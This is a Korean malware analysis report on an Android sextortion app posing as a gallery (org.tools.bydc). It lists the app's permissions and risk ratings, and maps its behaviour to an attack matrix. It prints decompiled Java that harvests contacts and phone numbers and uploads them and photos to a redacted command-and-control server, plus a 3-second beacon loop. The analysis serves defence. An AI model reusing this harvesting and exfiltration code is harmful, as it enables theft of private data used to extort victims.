팀카시아_몸캠피싱 악성앱 분석 보고서 [갤러리_org.tools.bydc]

소속

성명

직급

업무

연락처

이메일

CSSIA

비공개

비공개

악성 앱 분석

비공개

비공개

구분

수행원

환경

분석 단말

진단 위치

PC

비공개

Windows 11,

OSX Ventura

Galaxy Note 10

(Android 12, API Level 33)

팀카시아 악성앱 분석실

No

구분

대상 명

패키지 명

플랫폼

비고

1

모바일

비공개

org.tools.bydc

Android

-

No

MD5 해시

1

e739ef1f8e82a65304e432498073fc82

위험도

주요내용

등급

5

가용성에 직접적인 영향

중요 정보(연락처, 사진 등) 노출

단말 제어권한 획득으로 임의 조작 가능

상

(High)

4

사용자 권한 획득

다른 동작과 연계될 경우 가용성에 직접적인 영향

다른 동작과 연계될 경우 단말기 관리자 권한 획득 등

3

다른 동작과 연계될 경우 시스템 사용자 또는 앱 사용자 권한 획득 등

다른 동작과 연계될 경우 중요 정보 유출 가능성 있음

가용성에 간접적인 영향 등

중

(Medium)

2

추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출

다른 동작과 연계될 경우 가용성에 간접적인 영향 등

하

(Low)

1

공격과 직접적인 연관은 없으나 불필요한 정보 등이 공격자 서버에 유출

단말기에 관한 일반 정보 유출 등

대상

순번

악성행위 분석

위험도

갤러리

(org.tools.bydc)

1

연락처 목록 전체 수집 및 유출

5

2

문자(SMS) 기록 전체 수집 및 유출

5

3

단말 전화번호/통화기록 수집 및 유출

3

4

사진/동영상 수집 및 유출

3

No

요청 권한

권한 설명

중요권한여부

1

android.permission.ACCESS_COARSE_LOCATION

대략적 위치정보 접근

Y

2

android.permission.ACCESS_FINE_LOCATION

정확한 위치정보 접근

Y

3

android.permission.INTERNET

앱 인터넷 연결

N

4

android.permission.READ_CONTACTS

연락처 읽기

Y

5

android.permission.BATTERY_STATS

배터리 상태 읽기

N

6

android.permission.ACCESS_NETWORK_STATE

네트워크 상태 접근

N

7

android.permission.ACCESS_WIFI_STATE

와이파이 연결 상태 읽기

N

8

android.permission.CHANGE_WIFI_STATE

와이파이 연결 상태 변경

N

9

android.permission.READ_PHONE_NUMBERS

단말 전화번호 읽기

Y

10

android.permission.READ_EXTERNAL_STORAGE

외부 저장소 읽기

Y

11

android.permission.FOREGROUND_SERVICE

서비스 동작 실행

N

No

액티비티

비고

1

com.activity.ChatStartActivity

메인 액티비티

2

com.activity.ChatEndActivity

-

No

서비스

비고

1

com.service.PhotoService

-

2

com.service.AliveService

-

3

com.service.HoldOnService

-

4

com.service.PushService

-

// com.activity.ChatStartActivity;

@Override // z0.b

public final void onCreate(Bundle bundle0) {

super.onCreate(bundle0);

ImageView imageView0 = (ImageView)this.findViewById(0x7F0800F1);

FrameLayout frameLayout0 = (FrameLayout)this.findViewById(0x7F0800F2);

com.activity.ChatStartActivity.a chatStartActivity$a0 = new Runnable() {

@Override

public final void run() {

int v1;

n n0;

Objects.requireNonNull(ChatStartActivity.this);

ArrayList arrayList0 = new ArrayList();

arrayList0.add("android.permission.READ_CONTACTS");

arrayList0.add("android.permission.READ_PHONE_NUMBERS");

ChatStartActivity chatStartActivity0 = ChatStartActivity.this;

Objects.requireNonNull(chatStartActivity0);

LinkedHashSet linkedHashSet0 = new LinkedHashSet();

LinkedHashSet linkedHashSet1 = new LinkedHashSet();

int v = Build.VERSION.SDK_INT;

for(Object object0: arrayList0) {

String s = (String)object0;

if(d1.b.a.contains(s)) {

linkedHashSet1.add(s);

continue;

}

linkedHashSet0.add(s);

}

if((linkedHashSet1.contains("android.permission.ACCESS_BACKGROUND_LOCATION")) && v == 29) {

linkedHashSet1.remove("android.permission.ACCESS_BACKGROUND_LOCATION");

linkedHashSet0.add("android.permission.ACCESS_BACKGROUND_LOCATION");

}

...(생략)...

}

권한명

설명

비고

android.permission.READ_CONTACTS

연락처 읽기

-

android.permission.READ_PHONE_NUMBERS

단말기 전화번호 읽기

-

android.permission.ACCESS_BACKGROUND_LOCATION

백그라운드에서 위치정보 수집

-

android.permission.SYSTEM_ALERT_WINDOW

시스템 알림 창 표시

-

android.permission.WRITE_SETTINGS

단말 시스템 설정 변경

-

android.permission.MANAGE_EXTERNAL_STORAGE

외부 저장소 관리(읽기, 쓰기)권한

-

android.permission.REQUEST_INSTALL_PACKAGE

단말에 설치된 앱 목록 조회

API 26 이상

// com.activity.ChatStartActivity;

c c0 = new c();

c0.a(new s(o0)); // 요청할 권한 목록을 저장하기 위한 데이터셋(Hashmap) 지정

c0.a(new p(o0)); // 단말 버전에 맞는 백그라운드 위치정보 수집 권한 선언

c0.a(new t(o0, 0)); // 시스템 알림 창 표시 권한 선언, 시스템 설정 변경 권한 선언

c0.a(new t(o0, 1));

c0.a(new r(o0)); // 외부 저장소 관리 권한 선언

c0.a(new q(o0)); // 단말에 설치된 앱 목록 조회 권한 선언

a a0 = (a)c0.a;

if(a0 != null) {

a0.request(); // 선언한 권한 요청

}

//com.Activity.ChatStartActivity;

public static void p(ChatStartActivity chatStartActivity0, String s, String s1) {

String s3;

Objects.requireNonNull(chatStartActivity0);

String s2 = Build.BRAND + "-" + Build.MODEL;

StringBuilder stringBuilder0 = new StringBuilder(s + "**" + s1 + "**" + s2);

StringBuilder stringBuilder1 = new StringBuilder(s + "**" + s1 + "**" + s2 + "**" + System.currentTimeMillis() / 1000L);

try {

s3 = ChatStartActivity.o(stringBuilder1.toString());

}

catch(Exception exception0) {

throw new RuntimeException(exception0);

}

Objects.requireNonNull(g.o(chatStartActivity0.q));

List list0 = LitePal.where(new String[]{"send=?", "0"}).order("name desc").find(InvitePojo.class);

if(list0 != null && !list0.isEmpty()) {

for(Object object0: list0) {

stringBuilder0.append('=');

stringBuilder0.append(((InvitePojo)object0).getName());

stringBuilder0.append('|');

stringBuilder0.append(((InvitePojo)object0).getPhone());

((InvitePojo)object0).setSend(true);

}

}

((PostFormBuilder)OkHttpUtils.post().url("http://비공개:1748/api/uploads/api")).addParams("data", stringBuilder0.toString()).addParams("uid", s3).build().execute(new e(chatStartActivity0, s, s1, list0));

}

}

C&C 도메인(IP주소)

국가/지역

비공개

국가: 홍콩

Continent Name: Asia

Country Name: Hongkong

참고: https://ipgeolocation.io/ip-location/비공개

// com.activity.ChatStartActivity;

// RUN()

@Override

public final void run() {

b b0 = this.d.a.q;

ArrayList arrayList0 = new ArrayList();

Cursor cursor0 = b0.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

while(cursor0 != null && (cursor0.moveToNext())) {

InvitePojo invitePojo0 = new InvitePojo();

String s = cursor0.getString(cursor0.getColumnIndex("_id"));

invitePojo0.setName(cursor0.getString(cursor0.getColumnIndex("display_name")));

Cursor cursor1 = b0.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + s, null, null);

while(cursor1 != null && (cursor1.moveToNext())) {

invitePojo0.setPhone(cursor1.getString(cursor1.getColumnIndex("data1")).replace("-", "").replace(" ", ""));

}

Cursor cursor2 = b0.getContentResolver().query(ContactsContract.Data.CONTENT_URI, new String[]{"_id", "data1"}, "contact_id=? AND mimetype=\'vnd.android.cursor.item/nickname\'", new String[]{s}, null);

if(cursor2 != null && (cursor2.moveToFirst())) {

do {

label_13:

invitePojo0.setNote(cursor2.getString(cursor2.getColumnIndex("data1")));

if(cursor2.moveToNext()) {

goto label_13;

}

break;

}

while(true);

}

arrayList0.add(invitePojo0);

if(cursor1 != null) {

cursor1.close();

}

if(cursor2 == null) {

continue;

}

cursor2.close();

}

if(cursor0 != null) {

cursor0.close();

}

💡 Disclaimer

본 보고서에 제시된 분석 결과는 특정 안드로이드 버전 및 실행 환경에 기반한 것이다.

안드로이드 운영 체제는 버전에 따라 지원하는 API와 기능에 상당한 차이가 존재하며, 이는 앱의 동작 및 분석 결과에 영향을 줄 수 있다.

특히 일부 API는 최신 버전의 안드로이드에서는 사용이 제한되거나 이전 버전에서 지원하지 않을 수 있고 이러한 차이는 앱의 동작에 영향을 미칠 수 있다. 본 보고서의 분석 결과는 특정한 실행 환경과 안드로이드 버전에 한정된 것으로 다른 환경 또는 버전에서는 상이한 결과가 나타날 수 있음을 유의해야 한다.

// com.service.AliveService;

@Override // android.app.Service

public final void onCreate() {

super.onCreate();

this.f = this.getSharedPreferences("config", 0).getString("phoneNum", "");

new Thread(new Runnable() {

@Override

public final void run() {

while(true) {

AliveService.this.a(AliveService.this.f);

try {

Thread.sleep(3000L); // 3초(3000ms) 주기로 패킷 전송

}

catch(InterruptedException interruptedException0) {

interruptedException0.printStackTrace();

}

}

}

}).start();

}

//com.service.PhotoService;

public class PhotoService extends Service {

public List d;

public int e;

public final Handler f;

public String g;

public static final int h;

public PhotoService() {

this.f = new Handler();

}

public static void a(PhotoService photoService0) {

c c0 = new c(photoService0);

photoService0.f.postDelayed(c0, 1000L);

}

public static void b(PhotoService photoService0, String s) {

Objects.requireNonNull(photoService0);

Toast.makeText(photoService0, s, 1).show();

}

public final String c() {

if(this.d != null && !this.d.isEmpty()) {

ImgPojo imgPojo0 = (ImgPojo)this.d.get(0);

File file0 = new File(imgPojo0.getPath());

if(!file0.exists()) {

imgPojo0.delete();

this.d.remove(0);

this.c();

return "";

}

((PostFormBuilder)OkHttpUtils.post().addFile("file", imgPojo0.getName(), file0).url("http://비공개:1748/api/uploads/upload")).build().execute(new b(this, imgPojo0));

return "";

}

this.stopSelf();

return "12345678";

}

접근

(Initial Access)

실행

(Execution)

권한상승

(Privilege Escalation)

방어체계 우회

(Defense Evasion)

인증정보 접근

(Credential Access)

탐색

(Discovery)

수집

(Collection)

명령제어

(Command & Control)

영향

(Impact)

SMS 링크 접근

사용자 직접 실행

루트 권한 요청

난독화

피싱 페이지

네트워크 연결

네트워크 설정 수집

암호화된 채널

단말 정보 삭제

배포 웹 페이지 링크 접근

다른 앱에서 실행

익스플로잇

실행중 파일생성

저장된 정보 접근

네트워크 설정

위치정보 수집

표준 포트

통신 요금 과도 발생

소셜(SNS) 앱 전달

백그라운드 동작

암호화

직접 입력

위치정보 탐색

연락처 수집

비표준 포트

민감 정보 유출

패킹

문자 수신

목록 수집

보안 앱 탐색

문자(SMS) 정보 수집

원격 명령 실행

인증정보 탈취로 사용자 위장

스테가노그래피

설치된 앱 탐색

통화목록 수집

스케쥴링

저장된 정보 암호화

시스템 정보

탐색

저장된 파일 수집

조건부 실행

광고 생성

파일 목록 탐색

키로깅(Keylogging)

저장된 정보 조작

실행중 프로세스 탐색

화면 캡처

통신구간 정보 조작